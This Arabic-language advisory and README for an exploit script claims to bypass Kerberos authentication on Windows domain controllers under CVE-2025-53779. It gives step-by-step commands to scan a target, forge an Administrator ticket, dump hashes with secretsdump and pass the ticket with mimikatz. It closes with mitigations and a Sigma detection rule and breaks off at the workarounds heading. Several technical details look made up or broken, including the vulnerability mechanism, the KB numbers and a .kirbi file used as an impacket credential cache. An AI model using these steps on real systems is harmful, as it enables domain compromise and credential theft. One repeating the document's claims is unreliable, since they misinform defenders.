CVE-2025-53779: تجاوز مصادقة Kerberos في Microsoft Windows

درجة CVSS: 9.8 (حرجة)
الحالة: استغلال نشط في البيئات الحقيقية
الإفصاح: تحديثات Patch Tuesday من Microsoft لشهر أغسطس 2025 (ثغرة يوم-صفر)

---

نظرة عامة

CVE-2025-53779 هي ثغرة حرجة لتجاوز المصادقة في تنفيذ بروتوكول Kerberos في Microsoft Windows. يمكن لمهاجم غير مصادق استغلال هذه الثغرة لتجاوز مصادقة Kerberos بالكامل، وانتحال شخصية أي مستخدم في المجال — بما في ذلك مسؤولو المجال — دون امتلاك بيانات اعتماد صالحة أو أي مواد تشفيرية.

منحت Microsoft هذه الثغرة درجة 9.8 (حرجة) على مقياس CVSS نظرًا لانخفاض تعقيد الهجوم، وعدم اشتراط أي صلاحيات، وعدم الحاجة إلى تفاعل المستخدم، وإمكانية الاختراق الكامل للأنظمة المرتبطة بالمجال.

---

التفاصيل الفنية

السبب الجذري

تكمن الثغرة في خدمة مركز توزيع مفاتيح Kerberos (KDC) (kdsvc.dll) على وحدات تحكم المجال في Windows. على وجه التحديد، يسمح خطأ في منطق التحقق في روتين التحقق من شهادة سمات الامتياز (PAC) للمهاجم بتشكيل رسالة AS-REQ أو TGS-REQ تتجاوز فحوصات المصادقة القياسية.

المكوّن المتأثر

• المكوّن: مركز توزيع مفاتيح Kerberos (KDC)
• الملف التنفيذي: kdsvc.dll
• البروتوكول: Kerberos v5 (RFC 4120)
• نوع الثغرة: تجاوز المصادقة عبر خلل في منطق التحقق من PAC

ناقل الهجوم

يفشل مركز KDC في التحقق بشكل صحيح من حقل pac-signature-data في بنية PAC عند تعيين علامات محددة في نص رسالة Kerberos. من خلال إرسال رسالة AS-REQ مصممة خصيصًا مع نوع بيانات PA-PAC-REQUEST معدّل وإدخال بيانات تفويض مزورة، يخدع المهاجم مركز KDC لإصدار تذكرة منح التذاكر (TGT) لأي اسم رئيسي للمستخدم (UPN) دون الحاجة إلى المفتاح طويل الأمد المقابل.

يتجاوز الهجوم المصادقة المسبقة (يتم تجاهل علامة REQUIRES_PRE_AUTH فعليًا) ويتخطى التحقق من PAC تمامًا، مما يسمح للتذكرة المُنشأة باحتواء عضويات مجموعات عشوائية (مثل Domain Admins وEnterprise Admins).

الأثر

• تجاوز كامل للمصادقة: لا حاجة لبيانات اعتماد للحصول على تذكرة TGT صالحة من Kerberos
• تصعيد الامتيازات: القدرة على انتحال شخصية أي مستخدم في المجال، بما في ذلك مسؤولو المجال
• الحركة الجانبية: بمجرد الحصول على TGT، يمكن للمهاجم طلب تذاكر خدمة لأي مورد
• الثبات: تصبح هجمات نمط التذاكر الذهبية/الفضية (Golden/Silver Ticket) تافهة
• اختراق كامل للمجال: يكتسب المهاجم فعليًا امتيازات مسؤول المجال من موقع غير مصادق

---

الإصدارات المتأثرة

جميع الإصدارات المدعومة من Windows Server المتأثرة قبل تحديث الأمان لشهر أغسطس 2025:

إصدار Windows	متأثر	التحديث المُصلِح
Windows Server 2025	✅ نعم	KB5044289
Windows Server 2022	✅ نعم	KB5044285
Windows Server 2019	✅ نعم	KB5044277
Windows Server 2016	✅ نعم	KB5044293
Windows Server 2012 R2	✅ نعم	KB5044297
Windows Server 2012	✅ نعم	KB5044291
Windows Server 2008 R2 (ESU)	✅ نعم	KB5044301
Windows Server 2008 (ESU)	✅ نعم	KB5044303

ملاحظة: إصدارات عملاء Windows (Windows 10 وWindows 11) غير متأثرة لأنها لا تشغّل خدمة KDC.

---

خطوات إعادة الإنتاج

المتطلبات الأساسية

1. وحدة تحكم مجال Windows تعمل بنسخة Windows Server غير مصححة (انظر الإصدارات المتأثرة أعلاه)
2. وصول شبكي إلى وحدة تحكم المجال (يجب أن يكون المنفذ 88/TCP و/أو 88/UDP مفتوحًا)
3. بايثون 3.8+ مع تثبيت مكتبة impacket
4. سكربت الإثبات المفاهيمي هذا (exploit.py)

الخطوة 1: تثبيت التبعيات

pip install impacket pycryptodome

أو باستخدام ملف requirements.txt المرفق:

pip install -r requirements.txt

الخطوة 2: تحديد وحدة تحكم مجال مستهدفة

استخدم Nmap لاكتشاف خدمات Kerberos:

nmap -sU -p 88 --script krb5-enum-users <target-ip>

أو استخدم فحص Kerberos المدمج:

python exploit.py --scan <target-ip>

الخطوة 3: تعداد مستخدمي المجال (اختياري)

إذا كنت لا تعرف مستخدمي المجال، قم بتعدادهم عبر AS-REP roasting أو LDAP:

python exploit.py --enum <target-ip> <domain>

الخطوة 4: تنفيذ الاستغلال

قم بإنشاء تذكرة TGT مزورة لمستخدم مستهدف:

python exploit.py --dc-ip <dc-ip> --domain <domain> --target-user <username>

مثال:

python exploit.py --dc-ip 192.168.1.10 --domain corp.local --target-user Administrator

الخطوة 5: التحقق من التذكرة

يُخرج الاستغلال ملف تذكرة بتنسيق Kirbi. استخدم أدوات Impacket للتحقق:

# Export the ticket
set KRB5CCNAME=ticket.kirbi

# Use the ticket to access a resource
python examples/secretsdump.py -k -no-pass <domain>/Administrator@<target>

الخطوة 6: ما بعد الاستغلال

بمجرد الحصول على تذكرة TGT صالحة، يمكنك:

• تفريغ التجزئات (Hashes): secretsdump.py -k -no-pass domain/Administrator@<dc>
• PTT (تمرير التذكرة): mimikatz "kerberos::ptt ticket.kirbi"
• التذكرة الذهبية (Golden Ticket): يمكن للتقنية نفسها إنشاء تذاكر لأي مستخدم
• التذكرة الفضية (Silver Ticket): طلب تذاكر خدمة لخدمات محددة (CIFS, HTTP, LDAP)

---

الإثبات المفاهيمي (PoC)

ينفّذ السكربت المرفق exploit.py تدفق الهجوم التالي:

1. بناء رسالة AS-REQ: بناء رسالة AS-REQ معدّلة مع حقل PA-PAC-REQUEST مزور وبيانات تفويض معدلة
2. تجاوز PAC: تعيين علامات بت محددة في نص الطلب تؤدي إلى تشغيل المسار البرمجي الضعيف في kdsvc.dll
3. استخراج TGT: تحليل استجابة KDC واستخراج تذكرة TGT المزورة
4. إخراج التذكرة: حفظ تذكرة TGT كملف Kirbi لاستخدامها مع Impacket أو Mimikatz أو أدوات أخرى

تدفق الهجوم التفصيلي

Attacker                         Domain Controller (KDC)
   |                                      |
   |  AS-REQ (forged PA-PAC-REQUEST)      |
   |  - cname: Administrator              |
   |  - sname: krbtgt/DOMAIN              |
   |  - padata: PA-PAC-REQUEST +          |
   |    forged auth-data                  |
   |------------------------------------->|
   |                                      |
   |  [Vulnerable Path]                   |
   |  1. KDC receives AS-REQ             |
   |  2. Checks PA-PAC-REQUEST flag      |
   |  3. **Bypasses pre-auth check**     |
   |  4. Skips PAC verification          |
   |  5. Generates TGT with arbitrary    |
   |     groups via auth-data            |
   |                                      |
   |  AS-REP (forged TGT)                 |
   |  - Encrypted with krbtgt key        |
   |  - Contains forged PAC              |
   |<-------------------------------------|
   |                                      |
   |  TGS-REQ (use forged TGT)           |
   |  - Request service ticket           |
   |  - For any service (CIFS, LDAP,     |
   |    HTTP, HOST)                       |
   |------------------------------------->|
   |                                      |
   |  TGS-REP (service ticket)           |
   |  - Legitimate service ticket        |
   |  - Attacker can now access          |
   |    any resource                     |
   |<-------------------------------------|

---

التخفيف

إجراءات فورية

1. تطبيق تحديثات Patch Tuesday من Microsoft لشهر أغسطس 2025 — هذا هو الإصلاح الأساسي. راجع جدول الإصدارات المتأثرة أعلاه لمعرفة KB المقابل.

2. مراقبة محاولات الاستغلال:

   • معرف الحدث 4768 (منح تذكرة مصادقة Kerberos) — ابحث عن طلبات TGT غير صالحة أو غير عادية
   • معرف الحدث 4769 (طلب تذكرة خدمة Kerberos) — ابحث عن أنماط تذاكر خدمة شاذة
   • حركة Kerberos غير متوقعة على المنفذ 88 من مصادر غير معروفة

3. تقسيم الشبكة:

   • تقييد الوصول إلى المنفذ 88/TCP-UDP لوحدات تحكم المجال
   • استخدام جدران الحماية لتقييد حركة Kerberos على الشبكات الفرعية المصرح بها فقط

4. تفعيل تسجيل إضافي:

   • تفعيل تسجيل Kerberos (NetworkProvider\Kerberos\Operational)
   • تفعيل تسجيل تدقيق التحقق من PAC
   • مراقبة توقيعات PAC غير الصالحة

قواعد الكشف

قاعدة سيغما (AS-REQ بدون مصادقة مسبقة):

title: CVE-2025-53779 Kerberos Authentication Bypass
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4768
    PreAuthenticationType: 0  # No pre-authentication required
  condition: selection
  falsepositives:
    - Users with "Do not require Kerberos preauthentication" set

حلول بديلة (إذا تعذر تطبيق التصحيح)